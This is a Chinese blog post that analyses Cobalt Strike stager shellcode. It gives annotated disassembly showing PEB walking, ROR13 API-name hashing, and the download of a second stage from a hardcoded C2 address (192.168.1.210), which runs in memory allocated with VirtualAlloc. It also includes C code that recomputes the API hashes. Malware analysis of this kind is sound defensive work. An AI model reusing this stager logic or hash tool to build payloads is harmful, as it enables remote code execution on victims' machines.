Cobalt_strike生成的shellcode分析

005F33A0 FC                   cld  //将标志寄存器Flag的方向标志位DF清零。在字串操作中使变址寄存器SI或DI的地址指针自动增加,字串处理由前往后
005F33A1 E8 89 00 00 00       call        buf+8Fh (05F342F)  

005F33A6 60                   pushad  
005F33A7 89 E5                mov         ebp,esp
005F33A9 31 D2                xor         edx,edx  
005F33AB 64 8B 52 30          mov         edx,dword ptr fs:[edx+30h] ;edx=PEB 
005F33AF 8B 52 0C             mov         edx,dword ptr [edx+0Ch]  ;EDX=ldr
005F33B2 8B 52 14             mov         edx,dword ptr [edx+14h]  ;edx=InMemoryOrderModuleList  =》_LDR_DATA_TABLE_ENTRY+8

; loop 遍历InMemoryOrderModuleList链表中的所有节点
005F33B5 8B 72 28             mov         esi,dword ptr [edx+28h]  ;esi=FullDllName   +24h  FullDllName UNICODE_string
005F33B8 0F B7 4A 26          movzx       ecx,word ptr [edx+26h]   ; FullDllName->MaximumLength
005F33BC 31 FF                xor         edi,edi  

;加密字符串  循环取出模块名字符 保存到edi中
loop:
005F33BE 31 C0                xor         eax,eax  
005F33C0 AC                   lods        byte ptr [esi]  ;取第一个字符保存到al,esi指向下一个字符
005F33C1 3C 61                cmp         al,61h  ;61h=》 a
005F33C3 7C 02                jl          buf+27h (05F33C7)  
005F33C5 2C 20                sub         al,20h ;转换为大写 
005F33C7 C1 CF 0D             ror         edi,0Dh  ;循环右移14位,
005F33CA 01 C7                add         edi,eax
005F33CC E2 F0                loop        buf+1Eh (05F33BE) ;

005F33CE 52                   push        edx  
005F33CF 57                   push        edi  
005F33D0 8B 52 10             mov         edx,dword ptr [edx+10h]  ;DllBase
005F33D3 8B 42 3C             mov         eax,dword ptr [edx+3Ch]  ;e_lfanew
005F33D6 01 D0                add         eax,edx  ;eax=_IMAGE_NT_HEADERS
005F33D8 8B 40 78             mov         eax,dword ptr [eax+78h]  ;eax=导出表 rva
005F33DB 85 C0                test        eax,eax  
005F33DD 74 4A                je          buf+89h (05F3429) ;没有导出表 跳转

005F33DF 01 D0                add         eax,edx  eax= dllbase+导出表rva
005F33E1 50                   push        eax  
005F33E2 8B 48 18             mov         ecx,dword ptr [eax+18h]  ;NumberOfNames
005F33E5 8B 58 20             mov         ebx,dword ptr [eax+20h]  ;AddressOfNames
005F33E8 01 D3                add         ebx,edx  ;;AddressOfNamesrva加上dllname

;循环对比导出表的函数名
005F33EA E3 3C                jecxz       buf+88h (05F3428)   ;ECX为零时转移  模块中没有以函数名导出的函数就接着找下一个模块
005F33EC 49                   dec         ecx  
005F33ED 8B 34 8B             mov         esi,dword ptr [ebx+ecx*4]  ;从导出表的最后一个函数名开始比对
005F33F0 01 D6                add         esi,edx;esi= 导出函数名在模块中的地址
005F33F2 31 FF                xor         edi,edi  

;loop  加密导出函数名
005F33F4 31 C0                xor         eax,eax  
005F33F6 AC                   lods        byte ptr [esi]
005F33F7 C1 CF 0D             ror         edi,0Dh  
005F33FA 01 C7                add         edi,eax  
005F33FC 38 E0                cmp         al,ah    ;判断是否是字符串结尾
005F33FE 75 F4                jne         buf+54h (05F33F4) 

005F3400 03 7D F8             add         edi,dword ptr [ebp-8]  
005F3403 3B 7D 24             cmp         edi,dword ptr [ebp+24h]  
005F3406 75 E2                jne         buf+4Ah (05F33EA);没有匹配上 接着匹配下一个函数

;如果匹配到需要找的函数名  找到其真正地址
005F3408 58                   pop         eax
005F3409 8B 58 24             mov         ebx,dword ptr [eax+24h] 
005F340C 01 D3                add         ebx,edx  
005F340E 66 8B 0C 4B          mov         cx,word ptr [ebx+ecx*2]  
005F3412 8B 58 1C             mov         ebx,dword ptr [eax+1Ch]  
005F3415 01 D3                add         ebx,edx  
005F3417 8B 04 8B             mov         eax,dword ptr [ebx+ecx*4]  
005F341A 01 D0                add         eax,edx  
005F341C 89 44 24 24          mov         dword ptr [esp+24h],eax  
005F3420 5B                   pop         ebx  
005F3421 5B                   pop         ebx  
005F3422 61                   popad  

005F3423 59                   pop         ecx  
005F3424 5A                   pop         edx  esp+4  LoadLibraryA参数字符串指针  esp+8 函数名字符串  
005F3425 51                   push        ecx  ; 调用完LoadLibraryA的返回值
005F3426 FF E0                jmp         eax  ;调用 LoadLibraryA调用函数返回到 005F3442

                                               ;调用 InternetOpenA   调用函数返回到 005f3450
005F3428 58                   pop         eax 

005F3429 5F                   pop         edi  
005F342A 5A                   pop         edx  
005F342B 8B 12                mov         edx,dword ptr [edx]  取出链表中下一项
005F342D EB 86                jmp         buf+15h (05F33B5)  


;LoadLibraryA
005F342F 5D                   pop         ebp  
005F3430 68 6E 65 74 00       push        74656Eh  
005F3435 68 77 69 6E 69       push        696E6977h      77 69 6e 69  6e 65 74  wininit函数
005F343A 54                   push        esp      a779563a =》InternetOpenUrlA 
005F343B 68 4C 77 26 07       push        726774Ch  //提前计算好的  LoadLibraryA加密值
005F3440 FF D5                call        ebp    // call  005F33A6 函数开头跳过来的位置

;InternetOpenA
005F3442 31 FF                xor         edi,edi  
005F3444 57                   push        edi  
005F3445 57                   push        edi  
005F3446 57                   push        edi  
005F3447 57                   push        edi  
005F3448 57                   push        edi  
005F3449 68 3A 56 79 A7       push        0A779563Ah          //匹配的第二个值  InternetOpenA 函数
005F344E FF D5                call        ebp                 005F33A6  继续查找下一个函数

;InternetConnectA 查找第三个函数 
005F3450 E9 84 00 00 00       jmp         buf+139h (05F34D9)  //此句代码跳转到  005F36A7 call 005F3455  把服务器地址压入了栈中

005F3455 5B                   pop         ebx  
005F3456 31 C9                xor         ecx,ecx  
005F3458 51                   push        ecx  
005F3459 51                   push        ecx  
005F345A 6A 03                push        3  
005F345C 51                   push        ecx  
005F345D 51                   push        ecx  
005F345E 68 0F 27 00 00       push        270Fh  
005F3463 53                   push        ebx     ;服务器IP地址 在哪儿压到栈中的
005F3464 50                   push        eax     ;InternetOpenA 返回的句柄
005F3465 68 57 89 9F C6       push        0C69F8957h   InternetConnectA
005F346A FF D5                call        ebp


;HttpOpenRequestA
005F346C EB 70                jmp         buf+13Eh (05F34DE) 

005F346E 5B                   pop         ebx  
005F346F 31 D2                xor         edx,edx  
005F3471 52                   push        edx  
005F3472 68 00 02 40 84       push        84400200h    ;连接标志
005F3477 52                   push        edx  
005F3478 52                   push        edx  
005F3479 52                   push        edx  
005F347A 53                   push        ebx   字符串 “/LKkZ”
005F347B 52                   push        edx  ;使用默认的get请求
005F347C 50                   push        eax  ;InternetConnectA连接返回的句柄
005F347D 68 EB 55 2E 3B       push        3B2E55EBh  ;HttpOpenRequestA  
005F3482 FF D5                call        ebp

;HttpSendRequestA
005F3484 89 C6                mov         esi,eax  
005F3486 83 C3 50             add         ebx,50h  
005F3489 31 FF                xor         edi,edi  

005F348B 57                   push        edi  
005F348C 57                   push        edi  
005F348D 6A FF                push        0FFFFFFFFh  
005F348F 53                   push        ebx  ;请求头 
// User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MASAJS)..

005F3490 56                   push        esi  

005F3491 68 2D 06 18 7B       push        7B18062Dh    HttpSendRequestA
005F3496 FF D5                call        ebp      HttpSendRequestA();

005F3498 85 C0                test        eax,eax  
005F349A 0F 84 C3 01 00 00    je          buf+2C3h (05F3663)  ;请求发送失败跳转
005F34A0 31 FF                xor         edi,edi  
005F34A2 85 F6                test        esi,esi  
005F34A4 74 04                je          buf+10Ah (05F34AA)  ;判断HttpOpenRequestA打开是否成功 没有成功就跳转
005F34A6 89 F9                mov         ecx,edi  
005F34A8 EB 09                jmp         buf+113h (05F34B3)  

005F34AA 68 AA C5 E2 5D       push        5DE2C5AAh    ;没有走这里  
005F34AF FF D5                call        ebp   

005F34B1 89 C1                mov         ecx,eax  
005F34B3 68 45 21 5E 31       push        315E2145h  
005F34B8 FF D5                call        ebp   ;GetCurrentThreadDesktopHwnd   获取当前窗口句柄?

005F34BA 31 FF                xor         edi,edi  
005F34BC 57                   push        edi  
005F34BD 6A 07                push        7  
005F34BF 51                   push        ecx  
005F34C0 56                   push        esi  
005F34C1 50                   push        eax  
005F34C2 68 B7 57 E0 0B       push        0BE057B7h  ;InternetErrorDlg
005F34C7 FF D5                call        ebp  

005F34C9 BF 00 2F 00 00       mov         edi,2F00h  
005F34CE 39 C7                cmp         edi,eax  
005F34D0 74 B7                je          buf+0E9h (05F3489)  
005F34D2 31 FF                xor         edi,edi  
005F34D4 E9 91 01 00 00       jmp         buf+2CAh (05F366A) 

005F34D9 E9 C9 01 00 00       jmp         buf+307h (05F36A7)  

005F34DE E8 8B FF FF FF       call        buf+0CEh (05F346E)

005F34E3 2F                   das  
005F34E4 4C                   dec         esp  
005F34E5 4B                   dec         ebx  
005F34E6 6B 5A 00 D7          imul        ebx,dword ptr [edx],0FFFFFFD7h  
005F34EA DA 1A                ficomp      dword ptr [edx]  
005F34EC CE                   into  
005F34ED 8D 53 AA             lea         edx,[ebx-56h]  
005F34F0 28 93 BE 42 75 EF    sub         byte ptr [ebx-108ABD42h],dl  
005F34F6 FC                   cld  
005F34F7 A8 8E                test        al,8Eh  
005F34F9 41                   inc         ecx  
005F34FA 10 2F                adc         byte ptr [edi],ch  
005F34FC 47                   inc         edi  
005F34FD 3F                   aas  
005F34FE 96                   xchg        eax,esi  
005F34FF 5F                   pop         edi  
005F3500 9F                   lahf  
005F3501 C5 6A 2A             lds         ebp,fword ptr [edx+2Ah]  
005F3504 E7 FA                out         0FAh,eax  
005F3506 74 E8                je          buf+150h (05F34F0h)  
005F3508 00 B3 A1 37 69 FD    add         byte ptr [ebx-296C85Fh],dh  
005F350E F3 A7                repe cmps   dword ptr [esi],dword ptr es:[edi]  
005F3510 A8 51                test        al,51h  
005F3512 14 34                adc         al,34h  
005F3514 A3 7D C1 11 2A       mov         dword ptr ds:[2A11C17Dh],eax  
005F3519 82 B6 D8 DE 65 7B C0 xor         byte ptr [esi+7B65DED8h],0C0h  
005F3520 E1 21                loope       buf+1A3h (05F3543h)  
005F3522 4F                   dec         edi  
005F3523 70 41                jo          buf+1C6h (05F3566h)  
005F3525 E8 7F ED 74 86       call        86D422A9  
005F352A 52                   push        edx  
005F352B F4                   hlt  
005F352C BC D3 E1 5D CA       mov         esp,0CA5DE1D3h  
005F3531 34 00                xor         al,0  

005F3533 55                   push        ebp  
005F3534 73 65                jae         buf+1FBh (05F359Bh)  
005F3536 72 2D                jb          buf+1C5h (05F3565h)  
005F3538 41                   inc         ecx  
005F3539 67 65 6E             outs        dx,byte ptr gs:[si]  
005F353C 74 3A                je          buf+1D8h (05F3578h)  
005F353E 20 4D 6F             and         byte ptr [ebp+6Fh],cl  
005F3541 7A 69                jp          buf+20Ch (05F35ACh)  
005F3543 6C                   ins         byte ptr es:[edi],dx  
005F3544 6C                   ins         byte ptr es:[edi],dx  

005F3545 61                   popad  
005F3546 2F                   das  
005F3547 35 2E 30 20 28       xor         eax,2820302Eh  
005F354C 63 6F 6D             arpl        word ptr [edi+6Dh],bp  
005F354F 70 61                jo          buf+212h (05F35B2h)  
005F3551 74 69                je          buf+21Ch (05F35BCh)  
005F3553 62 6C 65 3B          bound       ebp,qword ptr [ebp+3Bh]  
005F3557 20 4D 53             and         byte ptr [ebp+53h],cl  
005F355A 49                   dec         ecx  
005F355B 45                   inc         ebp  
005F355C 20 31                and         byte ptr [ecx],dh  
005F355E 30 2E                xor         byte ptr [esi],ch  
005F3560 30 3B                xor         byte ptr [ebx],bh  
005F3562 20 57 69             and         byte ptr [edi+69h],dl  
005F3565 6E                   outs        dx,byte ptr [esi]  
005F3566 64 6F                outs        dx,dword ptr fs:[esi]  
005F3568 77 73                ja          buf+23Dh (05F35DDh)  
005F356A 20 4E 54             and         byte ptr [esi+54h],cl  
005F356D 20 36                and         byte ptr [esi],dh  
005F356F 2E 32 3B             xor         bh,byte ptr cs:[ebx]  
005F3572 20 57 4F             and         byte ptr [edi+4Fh],dl  
005F3575 57                   push        edi  
005F3576 36 34 3B             xor         al,3Bh  
005F3579 20 54 72 69          and         byte ptr [edx+esi*2+69h],dl  
005F357D ??                   ?? ?? 
005F357E 65 6E                outs        dx,byte ptr gs:[esi]  
005F3580 74 2F                je          buf+211h (05F35B1h)  
005F3582 ??                   ?? ?? 
005F3583 2E 30 3B             xor         byte ptr cs:[ebx],bh  
005F3586 20 4D 41             and         byte ptr [ebp+41h],cl  
005F3589 53                   push        ebx  
005F358A 41                   inc         ecx  
005F358B 4A                   dec         edx  
005F358C 53                   push        ebx  
005F358D 29 0D 0A 00 E9 A8    sub         dword ptr ds:[0A8E9000Ah],ecx  
005F3593 9D                   popfd  
005F3594 68 01 E4 28 D1       push        0D128E401h  
005F3599 ??                   ?? ?? 
005F359A E4 D3                in          al,0D3h  
005F359C 12 37                adc         dh,byte ptr [edi]  
005F359E 89 BD 2C 13 33 05    mov         dword ptr [ebp+533132Ch],edi  
005F35A4 52                   push        edx  
005F35A5 D4 44                aamb        44h  
005F35A7 89 D6                mov         esi,edx  
005F35A9 A5                   movs        dword ptr es:[edi],dword ptr [esi]  
005F35AA 06                   push        es  
005F35AB C0 57 43 D5          rcl         byte ptr [edi+43h],0D5h  
005F35AF 4E                   dec         esi  
005F35B0 F7 10                not         dword ptr [eax]  
005F35B2 5A                   pop         edx  
005F35B3 AE                   scas        byte ptr es:[edi]  
005F35B4 01 68 BC             add         dword ptr [eax-44h],ebp  
005F35B7 CA 4F 17             retf        174Fh  
005F35BA 3D 60 F0 2A E4       cmp         eax,0E42AF060h  
005F35BF D1 6C 9F E7          shr         dword ptr [edi+ebx*4-19h],1  
005F35C3 97                   xchg        eax,edi  
005F35C4 9F                   lahf  
005F35C5 1E                   push        ds  
005F35C6 A1 AA AA 59 54       mov         eax,dword ptr ds:[5459AAAAh]  
005F35CB BE CC B5 0F EB       mov         esi,0EB0FB5CCh  
005F35D0 DB 14 77             fist        dword ptr [edi+esi*2]  
005F35D3 9F                   lahf  
005F35D4 17                   pop         ss  
005F35D5 85 3A                test        dword ptr [edx],edi  
005F35D7 A5                   movs        dword ptr es:[edi],dword ptr [esi]  
005F35D8 31 1E                xor         dword ptr [esi],ebx  
005F35DA 64 33 4F 5C          xor         ecx,dword ptr fs:[edi+5Ch]  
005F35DE 4D                   dec         ebp  
005F35DF 77 F1                ja          buf+232h (05F35D2h)  
005F35E1 E5 37                in          eax,37h  
005F35E3 7C DA                jl          buf+21Fh (05F35BFh)  
005F35E5 D9 1C 03             fstp        dword ptr [ebx+eax]  
005F35E8 9E                   sahf  
005F35E9 81 A6 65 E5 A0 DC 49 A3 43 AB and         dword ptr [esi-235F1A9Bh],0AB43A349h  
005F35F3 7D ED                jge         buf+242h (05F35E2h)  
005F35F5 F6 2D 9B 63 73 12    imul        byte ptr ds:[1273639Bh]  
005F35FB 60                   pushad  
005F35FC 66 74 85             je          00003584  
005F35FF 98                   cwde  
005F3600 B8 CF AF 0A 9B       mov         eax,9B0AAFCFh  
005F3605 29 6A 3A             sub         dword ptr [edx+3Ah],ebp  
005F3608 3D 5A 5C 36 DA       cmp         eax,0DA365C5Ah  
005F360D 0A FB                or          bh,bl  
005F360F E8 32 A2 9B 18       call        18FAD846  
005F3614 E1 B7                loope       buf+22Dh (05F35CDh)  
005F3616 CF                   iretd  
005F3617 70 39                jo          buf+2B2h (05F3652h)  
005F3619 24 0C                and         al,0Ch  
005F361B 6D                   ins         dword ptr es:[edi],dx  
005F361C 37                   aaa  
005F361D 0E                   push        cs  
005F361E 82 6D 2B FD          sub         byte ptr [ebp+2Bh],0FDh  
005F3622 9F                   lahf  
005F3623 4D                   dec         ebp  
005F3624 B9 E0 C4 EE 0E       mov         ecx,0EEEC4E0h  
005F3629 38 7E 18             cmp         byte ptr [esi+18h],bh  
005F362C 4D                   dec         ebp  
005F362D 06                   push        es  
005F362E 86 8B 3D 7B 6C 39    xchg        cl,byte ptr [ebx+396C7B3Dh]  
005F3634 12 66 1F             adc         ah,byte ptr [esi+1Fh]  
005F3637 9D                   popfd  
005F3638 32 AB 49 EE 3D 08    xor         ch,byte ptr [ebx+83DEE49h]  
005F363E 9A AC CA 77 00 29 D6 call        D629:0077CAAC  
005F3645 15 F3 A8 3A 07       adc         eax,73AA8F3h  
005F364A A2 A6 80 C8 C5       mov         byte ptr ds:[C5C880A6h],al  
005F364F CF                   iretd  
005F3650 EE                   out         dx,al  
005F3651 33 65 BC             xor         esp,dword ptr [ebp-44h]  
005F3654 A1 AC ED 83 C9       mov         eax,dword ptr ds:[C983EDACh]  
005F3659 26 EF                out         dx,eax  
005F365B 13 01                adc         eax,dword ptr [ecx]  
005F365D 72 CB                jb          buf+28Ah (05F362Ah)  
005F365F B6 31                mov         dh,31h  
005F3661 B9 00 68 F0 B5       mov         ecx,0B5F06800h  

005F3665  mov         ch,0A2h  
005F3667  push        esi  
005F3668  call        ebp 

;从服务器读取代码到当前进程中
005F366A  push        40h  
005F366C 68 00 10 00 00       push        1000h  
005F3671 68 00 00 40 00       push        offset __ImageBase (0400000h)  
005F3676 57                   push        edi  
005F3677 68 58 A4 53 E5       push        0E553A458h   ;VirtualAlloc 在当前进程中分配内存
005F367C FF D5                call        ebp  

005F367E 93                   xchg        eax,ebx  
005F367F B9 00 00 00 00       mov         ecx,0  
005F3684 01 D9                add         ecx,ebx  
005F3686 51                   push        ecx  
005F3687 53                   push        ebx  
005F3688 89 E7                mov         edi,esp  

005F368A 57                   push        edi  
005F368B 68 00 20 00 00       push        2000h  ;读取的大小
005F3690 53                   push        ebx    ;接收文件的buffer
005F3691 56                   push        esi  
005F3692 68 12 96 89 E2       push        0E2899612h  ;InternetReadFile 从服务器下载可执行代码
005F3697 FF D5                call        ebp  

005F3699 85 C0                test        eax,eax    ;判断是否下载成功
005F369B 74 C6                je          buf+2C3h (05F3663)  
005F369D 8B 07                mov         eax,dword ptr [edi]  
005F369F 01 C3                add         ebx,eax  
005F36A1 85 C0                test        eax,eax  ;实际读取的大小如果为0,就不再接着去读取
005F36A3 75 E5                jne         buf+2EAh (05F368A)  
005F36A5 58                   pop         eax  
005F36A6 C3                   ret       //从这里跳转到分配的地址开始执行

005F36A7 E8 A9 FD FF FF       call        buf+0B5h (05F3455)  
005F36AC 192.168.1.210        服务器ip
005F36BA 12 34 56             adc         dh,byte ptr [esi+edx*2]  
005F36BD 78 00                js          buf+31Fh (05F36BFh) 

函数的加密值=模块名的加密值+函数名的加密值


//函数名的加密算法
DWORD EncodeFuncName(PVOID FunctionName)
{
	DWORD Value = 0;
	__asm
	{
		mov esi, FunctionName
		xor edi,edi
	lop:
		xor eax,eax
		ror edi,0dh
		lodsb
		add edi,eax
		cmp al,ah
		jnz lop
		mov Value,edi
	}
	return Value;
}

//模块名的加密算法
//参数1:模块名  参数2:字节数+2 相当于unicode的maxlen
DWORD EncodeModuleName(PVOID FunctionName,DWORD Len)
{
	DWORD Value = 0;
	__asm
	{
		xor ecx,ecx
		mov ecx,Len
		mov esi,FunctionName
		xor edi, edi
		lop :
		xor eax, eax
		lodsb
		cmp al, 061h
		jl s1
		sub al,020h
	s1:
		ror edi, 0dh
		add edi, eax
		dec ecx
		jnz lop
		mov Value, edi
	}
	return Value;
}

获取所有模块导出函数的加密值

#include<intrin.h>
#include "stdio.h" 
#include<windows.h>
typedef struct _CLIENT_ID32     // 2 elements, 0x8 bytes (sizeof) 
{
	/*0x000*/     ULONG32      UniqueProcess;
	/*0x004*/     ULONG32      UniqueThread;
}CLIENT_ID32, *PCLIENT_ID32;

#pragma pack(4)
typedef struct _TEB32                                    // 117 elements, 0x1000 bytes (sizeof) 
{
	/*0x000*/     struct _NT_TIB32 NtTib;                              // 8 elements, 0x1C bytes (sizeof)     
	/*0x01C*/     ULONG32      EnvironmentPointer;
	/*0x020*/     struct _CLIENT_ID32 ClientId;                        // 2 elements, 0x8 bytes (sizeof)      
	/*0x028*/     ULONG32      ActiveRpcHandle;
	/*0x02C*/     ULONG32      ThreadLocalStoragePointer;
	/*0x030*/     ULONG32      ProcessEnvironmentBlock;
	/*0x034*/     ULONG32      LastErrorValue;
}TEB32, *PTEB32;
#pragma pack()


#pragma pack(4)
typedef struct _PEB32                                      // 108 elements, 0x480 bytes (sizeof) 
{
	/*0x000*/     UINT8        InheritedAddressSpace;
	/*0x001*/     UINT8        ReadImageFileExecOptions;
	/*0x002*/     UINT8        BeingDebugged;
	union                                                  // 2 elements, 0x1 bytes (sizeof)     
	{
		/*0x003*/         UINT8        BitField;
		struct                                             // 8 elements, 0x1 bytes (sizeof)     
		{
			/*0x003*/             UINT8        ImageUsesLargePages : 1;          // 0 BitPosition                      
			/*0x003*/             UINT8        IsProtectedProcess : 1;           // 1 BitPosition                      
			/*0x003*/             UINT8        IsImageDynamicallyRelocated : 1;  // 2 BitPosition                      
			/*0x003*/             UINT8        SkipPatchingUser32Forwarders : 1; // 3 BitPosition                      
			/*0x003*/             UINT8        IsPackagedProcess : 1;            // 4 BitPosition                      
			/*0x003*/             UINT8        IsAppContainer : 1;               // 5 BitPosition                      
			/*0x003*/             UINT8        IsProtectedProcessLight : 1;      // 6 BitPosition                      
			/*0x003*/             UINT8        IsLongPathAwareProcess : 1;       // 7 BitPosition                      
		};
	};
	/*0x004*/     ULONG32      Mutant;
	/*0x008*/     ULONG32      ImageBaseAddress;
	/*0x00C*/     ULONG32      Ldr;
	/*0x010*/     ULONG32      ProcessParameters;
	/*0x014*/     ULONG32      SubSystemData;
	/*0x018*/     ULONG32      ProcessHeap;
}PEB32, *PPEB32;
#pragma pack()

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWCH   Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#pragma pack(4)
typedef struct _PEB_LDR_DATA32                            // 9 elements, 0x58 bytes (sizeof) 
{
	ULONG     Length;						  // +0
	ULONG     Initialized;					  // +4
	ULONG     SsHandle;
	LIST_ENTRY32 InLoadOrderModuleList;           // +0xc
	LIST_ENTRY32 InMemoryOrderModuleList;         // +0x14
	LIST_ENTRY32 InInitializationOrderModuleList; // 2 elements, 0x10 bytes (sizeof) 
}PEB_LDR_DATA32, *PPEB_LDR_DATA32;
#pragma pack()

#pragma pack(4)
typedef struct _LDR_DATA_TABLE_ENTRY32
{
	LIST_ENTRY32    InLoadOrderModuleList;            //+0  
	LIST_ENTRY32    InMemoryOrderModuleList;		  //+8
	LIST_ENTRY32    InInitializationOrderModuleList;  //+0x10 
	DWORD            DllBase;						  //+0x18
	DWORD            EntryPoint;					  //+0x1c	
	DWORD            SizeOfImage;					  //+0x20	
	UNICODE_STRING    FullDllName;					  //+0x24	
	UNICODE_STRING     BaseDllName;					  //+0x2c
	ULONG            Flags;
	USHORT            LoadCount;
	WCHAR FullName[260];
	WCHAR BaseName[260];
} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;
#pragma pack()


DWORD EncodeFuncName(PVOID FunctionName)
{
	DWORD Value = 0;
	__asm
	{
		mov esi, FunctionName
		xor edi,edi
	lop:
		xor eax,eax
		ror edi,0dh
		lodsb
		add edi,eax
		cmp al,ah
		jnz lop
		mov Value,edi
	}
	return Value;
}

//参数1:模块名  参数2:字节数+2 相当于unicode的maxlen
DWORD EncodeModuleName(PVOID FunctionName,DWORD Len)
{
	DWORD Value = 0;
	__asm
	{
		xor ecx,ecx
		mov ecx,Len
		mov esi,FunctionName
		xor edi, edi
		lop :
		xor eax, eax
		lodsb
		cmp al, 061h
		jl s1
		sub al,020h
	s1:
		ror edi, 0dh
		add edi, eax
		dec ecx
		jnz lop
		mov Value, edi
	}
	return Value;
}

void  ShellCode()
{
	PPEB32 Peb32 = (PPEB32)__readfsdword(FIELD_OFFSET(TEB32, ProcessEnvironmentBlock));

	//InMemoryOrderModuleList->Flink
	PPEB_LDR_DATA32 Ldr = (PPEB_LDR_DATA32)Peb32->Ldr;
	PLIST_ENTRY32 ModuleList = (PLIST_ENTRY32)Ldr->InLoadOrderModuleList.Flink;
	PLIST_ENTRY32 head = ModuleList;

	do
	{
		ModuleList = (PLIST_ENTRY32)ModuleList->Flink;
		PWCHAR buffer = ((PLDR_DATA_TABLE_ENTRY32)ModuleList)->BaseDllName.Buffer;
		PLDR_DATA_TABLE_ENTRY32 p = (PLDR_DATA_TABLE_ENTRY32)ModuleList;
		DWORD ImageBase = ((PLDR_DATA_TABLE_ENTRY32)ModuleList)->DllBase;
		if (buffer)
		{
			DWORD ModuleEncode = EncodeModuleName(buffer, p->BaseDllName.MaximumLength);
			
			DWORD dwAddressOfExportTable = 0;
			DWORD dwSizeOfExportTable = 0;
			//获取image_export_table 结构的数据

			PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)(((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew + (ULONG_PTR)ImageBase);
			if (NtHeaders->OptionalHeader.Magic == 0x10b)
			{
				dwAddressOfExportTable = ((PIMAGE_OPTIONAL_HEADER32)(&NtHeaders->OptionalHeader))->DataDirectory[0].VirtualAddress;
				dwSizeOfExportTable = ((PIMAGE_OPTIONAL_HEADER32)(&NtHeaders->OptionalHeader))->DataDirectory[0].Size;
			}
			else
			{
				dwAddressOfExportTable = ((PIMAGE_OPTIONAL_HEADER64)(&NtHeaders->OptionalHeader))->DataDirectory[0].VirtualAddress;
				dwSizeOfExportTable = ((PIMAGE_OPTIONAL_HEADER64)(&NtHeaders->OptionalHeader))->DataDirectory[0].Size;
			}

			
			if (0 == dwAddressOfExportTable)
			{
				continue;
			}
			PIMAGE_EXPORT_DIRECTORY pied = (PIMAGE_EXPORT_DIRECTORY)((char*)ImageBase + dwAddressOfExportTable);
			PULONG   AddressOfNames = (PULONG)((char*)ImageBase + pied->AddressOfNames);
			
			//遍历名字表
			for (size_t i = 0; i < pied->NumberOfNames; i++)
			{
				char *name = (char*)AddressOfNames[i] + ImageBase;
				//ModuleEncode
				
			
				DWORD NameEncode = EncodeFuncName(name);
				NameEncode = NameEncode + ModuleEncode;
					
				printf("%S  %s  0x%x\n", buffer, name, NameEncode);
				
			}


		}
	} while (head != ModuleList);
	int a = 0;
}


void main()
{
	if (!LoadLibrary(L"ws2_32.dll"))
	{
		printf("load failed");
	}

	if (!LoadLibrary(L"wininet.dll"))
	{
		printf("load failed");
	}

	if (!LoadLibrary(L"wsock32.dll"))
	{
		printf("load failed");
	}
	ShellCode();
}
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值